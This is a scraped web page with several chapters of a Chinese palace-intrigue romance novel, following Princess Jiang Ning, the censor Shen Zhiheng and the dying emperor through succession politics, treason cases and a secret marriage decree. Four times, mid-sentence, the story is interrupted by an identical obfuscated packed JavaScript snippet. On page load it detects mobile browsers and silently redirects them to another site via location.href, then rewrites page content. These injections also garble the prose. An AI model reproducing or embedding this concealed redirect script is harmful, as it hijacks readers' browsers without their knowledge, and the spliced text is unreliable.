“那便好，”李鸿顺颔首，续道：“看来那祝景花，确有解百毒之奇效。” 提及祝景花，姜宁方才想起沈之衡质问时所言，曾称此花乃庆阳郡数年前贡品。 但动用贡品，非父皇旨意不可。 她心下一沉，问道：“这祝景花……是父皇所赐？” “是的，殿下。”李鸿顺忆起那夜，犹有余悸，“沈御史当夜策马直奔元阳殿而来，求陛下赐花救命，险些径直擅闯、酿成大祸。老奴至今想来，仍心惊不已。”他摇头叹息。 此言一出，姜宁瞬间明了沈之衡那夜所为。公主府、宫门、元阳殿，道道阻拦。 于她而言，那夜不过是昏沉一梦。 于他，却是生死一线，惊险万分。 “谢公公告知。”姜宁略一颔首，举步踏入殿内。 殿中，姜厚钦如同往常那样，伏案批阅奏疏，但是面色极其憔悴，精神已不复往日。 姜宁行至御前，伏身行礼：“儿臣给父皇请安。” 姜厚钦抬眸，目光沉沉，声音平稳无波，话语却重若千钧：“姜宁，你可知错？” “儿臣知错。”姜宁答得干脆。 “好，”姜厚钦搁下朱笔，“那你说说，错在何处？” 姜宁抬首，目光灼灼：“儿臣错在，不该执念于真相与公道。” 姜厚钦眉峰微蹙，知她话中带刺，叹道：“你要真相，要公道，朕不拦你。但你这般行事，是自认算无遗策么？是自认为可以将一切玩弄于股掌之中么？” 他虽闭关，但外间风云，尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319385|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在掌握。他本想看女儿意欲搅动何等波澜，未料她竟如此大胆，更如此不惜己身。 姜宁眼睫微颤。父皇这话何其耳熟？ 与沈之衡如出一辙？ 她轻抿薄唇，并未直接回应，而是转而开口道：“父皇可知，儿臣此次中毒昏迷时，曾做了一个很长的梦。” “何梦？” “儿臣梦见，镇北侯府阖家安康，梦见母后尚在，宸弟尚在。梦见天元二十一年春，宫中处处张灯结彩，父皇、母后、宸弟言笑晏晏……送儿臣与驸马成婚。”她的目光投向虚空，渐渐失焦。 她声音渐低，带着一丝虚幻的暖意，“那日，宸弟赠儿臣的新婚贺礼，是一对温润白玉佩。他说：‘恭贺皇姐，新婚大喜。’”语至最后，嗓音已沙哑。 在姜宁的言语之间，姜厚钦眼前仿佛也浮现出灵均温婉的笑靥。那确实……是极美的梦境。 可自灵均去后，她从未入他梦中。是在怨他么？怨他这些年，一直在纵容。 姜厚钦深吸一口气，沉声道：“近日京中的传言，朕亦有所闻。朕自会查清，给你一个交代。” “儿臣，谢父皇！”姜宁俯首，重重叩拜。 姜厚钦自案头拿起一叠信笺，又问：“说说吧，你那男宠之事，与柔然有何干系？通敌之说，朕自是不信。昨日沈卿来报，此次毒杀，乃萧家所为。萧定权虽已入狱，但只字不言。此番，你又意在何处？” 姜宁抬眸，言简意赅回道：“二十二年前，萧定权勾结柔然，设计镇北侯满门战死沙场。为表诚意，除了诸多财物和军械，他还将幼妹送入柔然王庭。那男宠，便是其妹与柔然王之子。儿臣在庆阳之时，那人找到儿臣，请求儿臣为他母亲报仇。故而，儿臣才将其带到京城来，只为引蛇出洞。” 姜厚钦面色不动，眼底则掠过一丝惊涛：“此事重大，可有凭据？柔然人之言，不可尽信。” “有。”姜宁答得斩钉截铁。她虽在台狱被关押一月，但贺兰风所说的相应证物，此刻应当已送至京城凤明堂了。 姜厚钦缓缓起身，面色一沉：“此事，朕会交由沈卿会同三司彻查。裴家忠烈，为国捐躯。若真是如此，朕定不会让镇北侯含恨九泉。” 言罢，他目光深邃地看向姜宁，声音带着一丝不易察觉的疲惫：“宁儿，你大可信朕。” 若有线索，可以信他会查明，可以信他会予她公道。不必如此以身犯险。 姜宁未直接回应，而是反问：“那换作父皇，可愿信苏家？可愿信儿臣？” 见姜厚钦不语，她将话挑得更明：“父皇想必也有所察觉，汪家这些年，绝非清白。这大凌江山万民，父皇难道真的放心托付于太子和汪家么？父皇是否愿意相信另一条路，是否愿意相信儿臣与苏家？再不济……” 她顿了顿，目光沉静，“父皇亦可信沈御史，有他在，能扶正这朝堂。” 语毕，她再次重重叩首：“汪家……儿臣必除之！” 姜厚钦听着她坦言的字字句句，虽有预感，却仍是一惊。除此之外，还有些许欣慰之情。 二十余年前，他未曾信过，一意孤行。灵均……宸儿……皆…… 如今，或许，也可以是另一条路？ 但他并未当场表态，只是轻轻摆手，示意姜宁先退下。随即，又传旨将沈之衡召进宫来。 32. 第三十二章 君臣夜谈 戌时，沈之衡刚至大理寺门前，便接到宣召入宫的旨意。他脚步一顿，回身嘱托都察院属官去同向恒声交代一声，随即转身，疾步往宫城方向而去。 宫门处，李鸿顺已在等候。 沈之衡心下一沉，揖礼道：“李公公，陛下入夜宣召，又劳您亲候，可是有何要紧之事？” 李鸿顺还礼，笑容和缓：“沈御史不必忧心。陛下临时起意，今夜欲在城楼与您叙谈，故遣老奴在此相迎。” “原来如此。那便有劳公公引路。” “沈大人客气。这边请。”李鸿顺侧身引路。 二人拾级而上，越过层层台阶，姜厚钦负手而立的背影渐入眼帘。沈之衡行至其身后，躬身行礼：“陛下。” 姜厚钦缓缓侧身，目光落在沈之衡肩头，语气褪去帝王威严，多了几分温和：“沈卿，可还记得上次与朕在此叙谈，是何时？” 听闻此言，沈之衡唇角微扬，不假思索回道：“微臣记得，应是天元十八年，琼林宴结束的那夜。” “是啊，”姜厚钦目光投向远方，“一晃，竟已七年了。” 沈之衡立于姜厚钦身侧，循其目光望去。 天边星光点点，城下万家灯火，街巷喧嚣隐约可闻，共同彰显出一片现世安稳的图景。 姜厚钦复又开口：“那时你说，入朝为官，唯愿山河无恙，黎庶安康。七年了，你初心未改，朕看在眼里。” 沈之衡躬身：“承蒙陛下信重，微臣不过恪尽职守。” 姜厚钦摆摆手，示意他不必谦辞。随即话锋一转，忽而问道：“沈卿，今夜召你前来，是为储君一事。你兼任太子太师已近两载。依你看，太子可堪大任否？” 他看向沈之衡，补充道：“直言无妨，不必顾虑旁的。” “是。”沈之衡再躬身，方才回道：“太子殿下虽年幼，然勤勉向学。性情偶有急躁，尚能纳谏。假以时日，或为明君。” “哈哈哈，”姜厚钦朗笑，“沈卿这是给太子留足了颜面啊。朕的儿子，朕清楚。齐儿的心智谋略，尚欠火候。”他掩面轻咳两声，续道：“可朕……时日无多了。” “陛下……”沈之衡欲言又止，似要宽慰，最终只化作一声轻唤。 姜厚钦不以为意地笑笑：“沈卿，你我之间，不必讲那些虚言。朕的身体，朕自知。生死有命，非人力可挽。”他顿了顿，忽问：“那依你之见，承嘉公主如何？可担重任？” 沈之衡心头一震。既因那牵动心绪的名字，亦因这突如其来的探问。 他沉吟片刻，坦言回道：“公主殿下聪慧坚韧，深谋远虑，心系生民，确堪大任。但……” 他略作停顿，“大凌尚无女子当政之先例。太子至今尚在，朝局初稳。若此时改换殿下为储君，恐生动荡。” 此乃公论，而非私心。 姜厚钦长叹一声，手掌扶住冰冷的城墙，语带感伤：“是啊。昔年七子夺嫡，何其惨烈。朕亦不愿再见手足相残。更何况，今岁肃清吏治，已撼动朝野，确实是再经不起风波了。” 他看向沈之衡，目光深邃，思酌片刻，随后压低了声音：“淑妃年初在庆阳诞下三皇子，此事尚未昭告。若由三皇子继位，由公主监国，沈卿以为如何？” 沈之衡面色微凝，未直接作答，只是躬身道：“微臣，谨遵圣意！” 其意，不言而明。 姜厚钦颔首，望着城楼下的煌煌灯火，目光悠远，自顾说道：“朕这个皇帝，做得平庸。前半生耗于制衡权术，鲜少为百姓谋福。直至你殿试那道策论，方令朕于沉沉夜色中，瞧见一丝光亮。如今，朕只愿在最后时日，为大凌江山百姓，选定一位可托付的储君。此事，朕尚需再思量些许时日。” 他转向沈之衡，语气凝重：“沈卿啊，无论日后谁主东宫，这大凌朝堂与万民，还需你多费心。” 沈之衡深知此言的分量，字字句句，重若千钧。他躬身更甚：“微臣，定不负陛下所托！” “嗯，”姜厚钦轻声一应，又道：“你昨日所奏，彻查七年前长江堤坝贪墨案，朕，准了。齐任东位高权重，此案，由你亲自主理。” “是，微臣遵旨。” “今后诸案，若涉汪家，不必姑息。但，”姜厚侧首，目光意味深长，“务必要确保太子无涉。待齐任东此案了结，你便递补入阁吧。” 此言一出，沈之衡虽面无波澜，却心下了然，须臾便意会到皇帝的言外之意。 陛下如今，有意倒汪，但不倒太子。 他日若太子继位，他便是辅弼重臣，是太子在朝堂的倚仗。 若三皇子继位，他则是制衡世家的寒门砥柱。 恍惚间，他又想起那夜在齐府书房，老师的“最后赠言”——“首辅之位，纵使垫着数不清的污浊尸骨，那位置，你也务必要去争！若真想重振这大凌山河，非立于群峰之巅、手握至高权柄不可为。” 这位置，不管他愿与不愿，如今也不得不踩着昔日恩师的肩膀迈上去。 他心下一凛，沉稳应道：“微臣明白。” “此外，朕尚有一旨，沈卿，你且先过目。”话罢，姜厚钦目光扫向侍立一旁的李鸿顺。 李鸿顺会意，自袖中恭敬取出一道明黄圣旨，交予沈之衡。 沈之衡接过，展开细看的瞬间，指尖与脊背皆是一僵。 这道圣旨……是为他与承嘉公主赐婚的旨意。 事情太过突然。他抬眸，千言万语，哽在喉间。 姜厚钦洞悉他眸中的探询之意，缓声道：“这些时日，你为宁儿所做的一切，你待她的心意，朕皆知晓。这道圣旨，在你夜闯元阳殿求赐祝景花的那夜，便已拟就。宁儿是朕与明昭皇后的唯一骨血，亦是朕的掌上明珠。交予旁人，朕不放心。惟愿沈卿，好生待她。” 沈之衡紧握圣旨绫锦，又一躬身，声音坚定：“微臣领旨，绝不负殿下。” 姜厚钦目露欣慰：“此事，宁儿尚不知情。她眼下恐怕也无此心绪。待时机合宜，再行宣示吧。此旨，暂存你处。” “诺！” 末了，姜厚钦又补道，语气加重了几分：“虽是赐婚，但今后政事之上，不必偏袒公主。朕信你持心公正，能正朝纲。” 沈之衡抬眼，目光灼灼：“微臣，定不负圣恩！” 半个时辰后，随着沈之衡离宫，三道旨意亦随即昭告天下。 史载： 天元二十五年，秋。 帝诏告三皇子姜霖诞生。 将军萧氏通敌柔然，构陷镇北侯满门战殁。帝震怒，敕令三司严查。 长江堤坝贪墨案发，户部尚书齐任东及涉案官吏伏法，朝野震动。 另有一口谕，虽未入史册，然京城内外皆知： 继后汪氏昔日构陷承嘉公主，帝责其禁足坤宁宫思过，无诏不得出。 ———— 亥时，公主府，灯火通明。 随着三道圣旨颁下，都察院王司狱领命，即刻率人将公主府众人恭送归府。 一月牢狱之灾，即便是苏七、苏九这般习武之人，面上也不免染上几分憔悴，更遑论他人。 惜桃一见姜宁，眼圈瞬间红了，几步奔上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329767|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，声音哽咽：“殿下，总算见到您了！听闻您前两日中毒，可把我们担心坏了！您可还好？” 姜宁轻拍她后背，温言安抚：“无碍了。你们先带大家回府安顿，可好？” “好！”惜桃用力点头。 随着惜桃的应答声落下，公主府众人齐齐向姜宁行了一礼，随即有序地走进公主府。 王司狱正欲率都察院之人离去，姜宁忽而从袖中取出一只沉甸甸的锦袋，递向他，唇角微扬：“这一月，有劳王司狱照拂。些许心意，还请收下。” 锦袋里是早已备好的二十两白银。 王司狱下意识伸手欲接，猛然想起什么，又缩回手，抱拳躬身：“殿下厚意，属下心领。这锦袋，属下万万不能收。” 姜宁眉梢微挑，一丝诧异掠过眼底。 二十两白银，说多不多，说少不少，足供寻常人家一年嚼用。 王司狱挠挠头，憨厚解释：“沈御史有令，不得收受任何贵重谢礼，违者一律以贪赃受贿之罪论处。属下不敢违令。” 姜宁闻言，唇角勾起一抹冷嘲：“真是个榆木脑袋。” 王司狱一惊，慌忙请罪：“属下失言，惹殿下不快，求殿下恕罪！” 姜宁眉头微蹙，无奈笑了笑：“王司狱不必惊惶。本宫说的，是你们那位沈御史。” “哦！啊？”王司狱松了口气，却仍一脸茫然。 “嗯。”姜宁淡淡应声，随后冷冷问道：“他人呢？今夜怎么不来？” 王司狱哪怕再迟钝，此刻也能听出公主语气中的不悦。 虽不知沈御史何处开罪了这位殿下，但念及他平日待下属尚可，王司狱决定替他解释一二。 他谨慎回道：“沈御史自宫中出来后，便去了大理寺。想是公务缠身，一时未能前来。还请殿□□谅一二。” 他未曾想到，此言非但未消公主的不满，反惹她一声冷哼。 只见殿下神色淡淡，语带锋芒：“替本宫转告你们沈御史，他最好不是胆小记仇，在刻意躲着本宫。” 言毕，姜宁拂袖转身，径直入府。袖袍卷起的风冷冷地铺向王司狱及一旁狱卒脸上。 近旁狱卒小心翼翼问：“头儿，这话，真要原样禀报沈御史么？” 王司狱咂咂嘴：“按理是要的。” “可小的总觉得不妥，恐怕会惹得沈御史震怒。”狱卒欲言又止。 王司狱看他一眼，点头：“言之有理。所以，就由你去传话吧。” “啊？？？”狱卒愕然。 话音刚落，王司狱已带着其余人快步离去。 那狱卒只得咽了口唾沫，抹了抹额角渗出的冷汗，硬着头皮向大理寺方向挪去。 ———— 大理寺值房内，沈之衡正与向恒声商议萧家通敌一案，忽闻报都察院狱卒求见。 他微一颔首：“传。” 狱卒入内，见沈御史神色尚算平和，面色是若有若无的笑意。他心中稍定，却又更加犹豫是否该如实禀报。 沈之衡见他面有难色，问道：“可是公主府有事？” “回御史，公主府无事。只是……公主殿下有句话，命小的转告。”狱卒躬身，声音发紧。 “什么话？”未等沈之衡开口，向恒声已抢先问道，手臂熟稔地搭上沈之衡肩头，“直说无妨，本官与你们沈御史是自己人。” 狱卒把心一横，闭眼将姜宁原话复述一遍。 话音未落，沈之衡眼底那点平和瞬间冻结，面色骤然转冷。 一旁的向恒声却已忍不住，朗声大笑起来。 33. 第三十三章 欲做何事 三道圣旨与那道口谕颁下后，姜宁连日紧绷的心弦，终是略略松弛。 纵使姜齐仍是太子，仍在储位，但是父皇昭告三皇子身份、禁足王皇后，圣意应是有所动摇。 至于萧家通敌案与齐尚书贪墨案，若能顺势牵出汪家，自是最好不过。若是不能，还需再另寻良机。 敌人自乱阵脚之际，往往是最易露出破绽之时。 所谓放长线，方能钓大鱼。昆仑银矿那边，是时候加紧盯防了。 姜宁卧于榻上，思忖后续布局，想着想着，沉沉睡去。 再醒来时，日已高悬，精神亦是恢复大半。 但是不知为何，她望着此处空无他人的寝屋，竟觉得空气中萦绕着沈之衡身上那股清冷的墨香。 昨日他那句诘问，亦是不由得在耳畔浮现——殿下布局的每一步，都要以性命为注么？ 念及此，姜宁心下蓦然烦躁。 翻身向内，梦中成婚的景象与那声脱口而出的“驸马”又不禁掠过脑海，她更觉无地自容，眉头微蹙。 看来当真是鬼面草毒性未清，迷了心神。 再一翻身，沈之衡那句“微臣，愿为殿下盟友”又犹在耳畔。 ？怎的还阴魂不散？ 姜宁低声啐道：“真是恼人。” 恰在此时，惜桃端着梳洗的热水步入，见姜宁辗转反侧，关切道：“殿下怎的刚醒便唉声叹气？可是身子还不爽利？” 姜宁微怔，缓缓坐起身：“无碍。许是这些时日忧思过甚，已成习惯了。” 惜桃放下水盆，掩口轻笑：“殿下此刻这般模样，倒让奴婢想起刚看的话本子来了。” “什么话本子？”姜宁蹙眉。 惜桃将面巾浸湿，随口回道：“妙笔娘子新出的章回，名儿好似叫……《御史吐露心声，公主辗转反侧》。” ？ “妙笔娘子又出新话了？”姜宁状若无意，起身自行更衣。 “约莫是昨夜写的，今早书肆刚售卖。殿下若想瞧，府里就有，奴婢可去为殿下取来。”惜桃答着，递去面巾。 姜宁接过面巾的手微微一顿，抬眼看向惜桃，眉梢微挑：“嗯？府中为何会有这最新的话本子？” 惜桃面色骤然一副说错话的模样，但架不住姜宁的目光审视，只得如实道：“回殿下，实不相瞒。在台狱那一月，都察院的狱卒待我们极为照拂。时日久了，李大娘便好奇打听，那大哥说是奉了沈大人之命。自那后，府中上下对沈大人皆感激敬重。今早孙厨子采买时鲜，路过书肆时，听闻妙笔娘子出了最新一新，就捎了几本回来。此刻应当正在府中一一传阅。” 姜宁闻言，只觉眼前一黑，扶额轻叹。经此一遭，她与沈之衡在外人眼中，怕是再也牵扯不清了。 往日主动戏弄于他，她只觉自己是看客，饶有兴味。如今竟恍然生出身为戏中人，被万众围观的窘迫之感。 她不禁打了个寒颤，面上却竭力维持平静，淡淡道：“哦，原是如此。你们在狱中未受苦便好。” 片刻后，惜桃为姜宁绾好最后一支玉簪，忽道：“对了殿下，早些时候苏公子差人传话，裴老夫人今晚欲在苏府备下家宴，问您得空否？” 姜宁颔首：“自然得空。许久未见外祖母，这一个月，她定然忧心不已。今晚你随我同去如何？” “好，那奴婢稍后便派人去苏府回话。” 姜宁未再言语，自妆台前起身。行至门外，一阵淡淡桂花甜香袭来。她脚步微滞，回身吩咐：“近日京中桂花开得正好，莫不如去折几枝来插瓶吧。” 惜桃雀跃：“那殿下便可伴桂香安寝，再好不过！” 行出几步，姜宁却又驻足，轻声道：“罢了，还是莫放在寝屋了。” 她的目光投向远处回廊尽头，似自语，又似决断：“如今这样……也好。” 惜桃虽不解，仍是应道：“是，殿下，那便不放了。” 前往书房途中，恰遇苏七步履匆匆而来。 苏七抱拳回禀道：“殿下，昨夜从凤明堂取回之物，按您吩咐，今晨已经秘密交至沈大人手中。” 姜宁微一颔首：“嗯。他可曾说什么？” “回殿下，沈大人只道谢，未言其他。”苏七回复得极其干脆。 姜宁的唇角下意识地微抿：“知道了。辛苦你了，苏七，今日好生歇息。晚些我去苏府，让苏九随行即可。” “为殿下办事，苏七不觉得辛苦。”苏七抬眼，神色坚毅。 听闻此言，姜宁鼻尖蓦地一酸，目光掠过苏七沉静的脸庞，又看向惜桃，倏然开口问道：“苏七，惜桃，你们随我从长安到京城，相伴已逾十载。可曾想过，若有朝一日离开公主府，欲去做何事么？” “殿下何出此言？是要赶惜桃走么？”惜桃攥住姜宁衣袖，眼圈霎时红了。 苏七一如既往沉稳，语气却斩钉截铁：“自从殿下从人牙子手中赎回属下后，此身此命都是殿下的。属下誓死追随，绝不离去！” 姜宁无奈浅笑，微微摇头：“我并非是要赶你们走。” 她抬首，目光越过高檐，望向天际，声线轻缓：“我只是在想，天地广阔，人人皆该追寻心之所向。这世间，应当可以有万般可能。” 随即，她收回视线，唇角弯起柔和弧度，语气缓和：“此事不急，你们与苏九都可慢慢细想。来日方长。待一切尘埃落定，你们皆可去追寻自己想过的日子。” 语至尾声，她声调悄然低垂，“倒是不必这一生都与我困守在这公主府。” “可是……”惜桃猛然跪地，嗓音沙哑，“殿下待惜桃如同姐妹。留在殿下身边，惜桃便觉欢喜。惜桃此生，只愿长伴殿下左右。” 听闻此言，姜宁眼底亦泛起湿意。她轻轻扶起惜桃，唇角强扯出笑意，温声安抚：“无妨，可以再想想。我总会尊重你们的心意。” “那殿下要说话算话。”惜桃微微噘嘴，止住泪意。 “自然，我何时食言过？”姜宁含笑，续道，“好了，先派人去苏府回话吧，莫让外祖母久等。再告知苏九，备好车马，申时出发。” “是，殿下。”惜桃领命离开。 苏七再一抱拳躬身，亦转身疾步而去。 申时，车驾驶离公主府，辚辚而行。 姜宁端坐车内，仍是觉得今日心口萦绕着一股难言的烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344139|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躁，却又说不清缘由。 难不成是因昨日沈之衡那道黯然伤神的目光？ 念头一起，她眉心微蹙，更觉心烦意乱。 往日里她只觉得逗弄那人颇有趣味，每每看他冷静自持的模样，便心生欢愉。如今，怎的反成了困扰？ 他未曾言明心意。可是，纵使他真有情愫，又能维系几时呢？ 姜宁摇摇头，试图驱散杂念，劝自己不必挂怀。 或许只因狱中一月相见频频，如今骤然不见，她尚不习惯罢了。时日久了，自会淡去。 她抬手掀开车帘，清风涌入，胸中也觉郁气稍舒。倏忽间，余光扫见远处似有人影一路尾随。 未待她开口，车外已传来苏九刻意压低的嗓音：“殿下，有人跟着车驾。” “嗯，瞧见了。看着像是个流民？”姜宁低声应道。 身旁惜桃脸色微变：“殿下，可要报官？” “不必。”姜宁语气淡然，“不过此处人多眼杂，莫要惊扰。待行至僻静处，苏九，你去将人带来问话。” “是。” 姜宁放下侧边车帘，凝神静气。 马车又行数百米，苏九看准时机，一声长吁，勒紧缰绳，马儿应声止步。 车刚停稳，苏九已翻身下车，疾步向那跟踪者奔去。 那人见状，并未逃窜，反而静立原地，任由苏九将其带至车前。 车帘掀起，姜宁看向那衣衫褴褛的少年，声音清冷：“你是何人？为何尾随本宫车驾？” 那少年跪地叩首，语带急切却不见慌乱：“回殿下，小的跟随车驾，只为求殿下救我小妹一命，绝无他意！” 姜宁眼睫微动：“你妹妹遭了何事？为何需本宫去救？” 少年抬头，迎上姜宁目光，咬牙道：“小的原是云阳人。去岁长江决堤，家中唯余小的与小妹相依逃出，一路流浪至京城。前些时日，小妹染了风寒，高热不退，如今已是神志昏沉。小的请不起郎中，走投无路，听闻殿下仁善，只得斗胆相求！恳请殿下，救我小妹！” 言罢，少年再次伏地叩首。 闻及“云阳”和“长江决堤”的字眼，姜宁心下一沉，但面上还是竭力维持着平静。 她起身下车，行至少年面前，解下腰间玉佩递去：“本宫今日未带银钱。此玉佩虽非珍品，典当之资却足以请医抓药。但本宫尚有一条件：此玉佩乃本宫借予你的。他日若挣得银两，需赎回此玉，送至公主府归还。你可明白？” 少年抬眼，双手颤抖着接过玉佩，目光灼灼：“小的明白！他日定当归还殿下！” “你叫什么名字？” “魏林！小的叫魏林！” 姜宁微微颔首：“好，魏林。若你今日所言有半字虚妄，便是欺瞒皇家。你当知大凌律法森严，欺瞒皇家乃重罪。” 魏林重重磕头：“小的绝无虚言，字字属实！” “嗯。”姜宁轻应一声，返回车内，落下车帘之前，又道：“京中凤明堂，医术尚可。你将玉佩换为银钱后，可去凤明堂请郎中。” “是！谢殿下大恩！”魏林跪伏于地。待目送马车远去后，起身快步奔向当铺方向。 34. 第三十四章 来日方长 时入十月，京中桂香日渐零落，天气转寒。 自皇帝颁下那三道旨意，兵部、户部相继有将领和官吏落网。 以都察院为主导，刑部、大理寺协理查办，三司经过近一月的宵衣旰食、多轮会审，萧家通敌案与长江堤坝贪墨案之罪证，终是一一勘定。 姜厚钦御览三司联名的奏折，目光于“拟判秋后处决”的字迹上停留良久。最终还是阵阵咳嗽声中，握上朱笔，批了红。处决之期，定于十日后。 自八月至今，不过两月光景，大凌朝局已为之一变。昔日汪、苏、寒门三足鼎立之势，如今逐渐呈现出失衡的态势。 萧氏伏法、汪后禁足、兵部将领贬谪，圣心对汪家的打压之意，隐然可见。同样的，长江堤坝贪墨案中，工部、吏部折损了苏家旁支数人，其朝堂势力亦为之削減。 两案过后，兵、工、吏三部空缺迭出。汪、苏两家为暂避锋芒，皆蛰伏观望，均未插手，不敢轻动。 故此，除户部尚书、工部侍郎等紧要职位外，余下缺额多由近七年的进士递补，其中寒门官员居多。加之沈之衡如今已递补入阁，清流一脉于朝堂之声势，日渐隆盛。 当此时节，圣躬违和，日渐衰微。储君之位虽未更易，圣上却早已下旨，欲召三皇子姜霖回京。只待年后皇子满周岁，体魄稍健，便与淑妃裴落一同启程。 届时，由谁继承大统，犹未可知。储君之位，仍似利剑，悬顶未决。 对此局面，汪、苏乃至满朝文武，皆心照不宣。而太子姜齐，或是得了汪阁老与汪皇后的耳提面命，近日行事收敛甚多，唯恐授人以柄，让人揪住了错处，甚至难得地将东宫诸多“婢女”遣散出府，以示克己。 相较于众人对储位的热切，姜宁此刻更忧心的是父皇的龙体。 这份忧心，既因她贪恋那偶尔流露的父爱温情，又因她担忧父皇撑不到汪家倾覆之时。 父皇明知幼弟夭折真相，此次却仅以汪皇后构陷、逼她离京之名将其禁足。细究之下，实则是父皇未下决心处置，仍为太子姜齐他日继承大统留有转圜余地。 经此一事，姜宁更深刻意识到了前朝、后宫、储位，休戚相关。 太子无过，则难言废黜；太子不废，汪皇后难以撼动，汪家亦是难倒。与之同时，太子的储君之位，亦需倚仗前朝。此三者环环相扣，牢不可破。 近日，她常赴苏府，与外祖父、长英哥哥商议破局之策。中秋宴上外祖母一句提点，倒是为众人指了方向。 欲破此铁三角，难易参半。古往今来，历朝历代，废太子之由众多，唯有一罪，无关品行，无关外戚，必是重罪。那便是谋逆逼宫。 然而，欲逼迫太子谋反，绝非易事。既要使其自认为陷于绝境，又需予其虚妄希望。如何拿捏好分寸，仍需徐徐图之。 可父皇龙体……又能否撑到那时？ 这日，姜宁如常入宫请安，只觉庆元殿内药气愈发浓重，汤药气息刺鼻，应是太医又加重了药量。 此念一起，她眉头微蹙，随即依礼下拜：“儿臣给父皇请安。父皇今日，可还安好？” 姜厚钦的目光依言落于她身上，微一颔首，声音沉稳却难掩疲弱：“朕安好。平身。” 话音初落，他猛地抓起御案上的锦帕掩口，抑制不住地重重咳喘数声，垂眸瞥见帕上痕迹之时，目光骤然一凝。 姜宁起身之际，眼角余光清晰瞧见那素白锦帕上洇开的点点猩红。但见父皇神色恢复如常，她便也佯作未见，静立案前。 殿内一时沉寂。姜厚钦见她没有退下的意思，又问道：“宁儿可是还有何事？” 姜宁抬眸直视他，语带一丝恳切：“父皇，儿臣近日，可否留宿宫中，住上一段时日？” 听闻此言，姜厚钦抬眼，面色略微诧异，须臾之间又化为淡淡笑意：“自然好。宁儿想住于宫中何处呢？” 姜宁行至御案旁，半蹲下身，仰面望向父皇，一如幼时扯着他龙袍撒娇的模样，目光沉沉，面带恳求：“母后昔年所居的景阳宫，距父皇的庆元殿最近。儿臣想常伴父皇左右。不知儿臣可否……暂住景阳宫？” 自母后薨逝，父皇为避免触景生情，早已将景阳宫划为禁地。十数年来，宫门深锁，不许任何人进出。 这番请求，她亦不知会否触及父皇逆鳞，是否会遭到父皇的拒绝。 只见姜厚钦喉结微动，目光有片刻失焦，终是轻叹一声：“好。朕命李鸿顺收拾出来。三日后，你便搬入吧。” 姜宁唇角弯起：“谢父皇！” “嗯，那你先退下吧。朕尚有几道折子待阅。” “是。”姜宁起身行礼，缓步退向殿门。 行至门边，她忽地回身：“父皇不问儿臣为何倏然想住宫中么？” 姜厚钦面上笑意温和，声音轻缓：“无论何故，只要漪漪想回宫，朕都不会拒你。” 闻此，姜宁鼻尖蓦地一酸，哑声道：“儿臣明白了。” 言毕，她转身迈过门槛离开。 他并不询问，她亦并不作答。父女二人，心照不宣地，只为这日渐稀薄的温情，在最后时日再续上几缕微光。 除此之外，她实际亦是藏有私心。储君之位，悬而未决。她居于宫中，遇事方可尽早裁断。 步出庆元殿，姜宁心事重重，独自向宫门行去。 暮色沉沉，天边的云边泛着夕阳的金光。这样的景致，竟与梦中出嫁那日的景象有几分相似。 念及此，她唇角掠过一丝苦笑，不禁垂首，失神地前行。直至余光瞥见前方宫道伫立的一抹绯色身影。 在她抬眸之间，那人清冷的嗓音亦是随之划破周遭的寂静：“殿下，许久未见。” 姜宁身形微顿，淡淡应了声：“沈大人。” 沈之衡上前迈了两步，距她不到半丈，又轻声探问：“殿下此刻，是要出宫么？” “是。”姜宁颔首，答得极其利落，未多言其他。 “微臣刚下值，亦是要出宫，不知可否与殿下同行？” 这一番话语和处境之下，姜宁也寻不出推拒之由，只得应道：“好。” 宫道悠长，二人并肩而行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365624|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夕阳将身影拉得斜长，时而平行，时而于转角处悄然交叠。 此景，令姜宁蓦然忆起上次于宫道同行的时候，还是去年。 那时，她以不识路径为由，刻意拖延，只为以便苏七和苏九潜入他居所寻回《百草经》与《千里江山图》。 彼时，他们尚算敌对。 而今，近一年光阴，竟也联手做了些事。 可眼下这般，他们之间，又算何关系？ 友人？似乎算不上。 盟友？她从未应允。 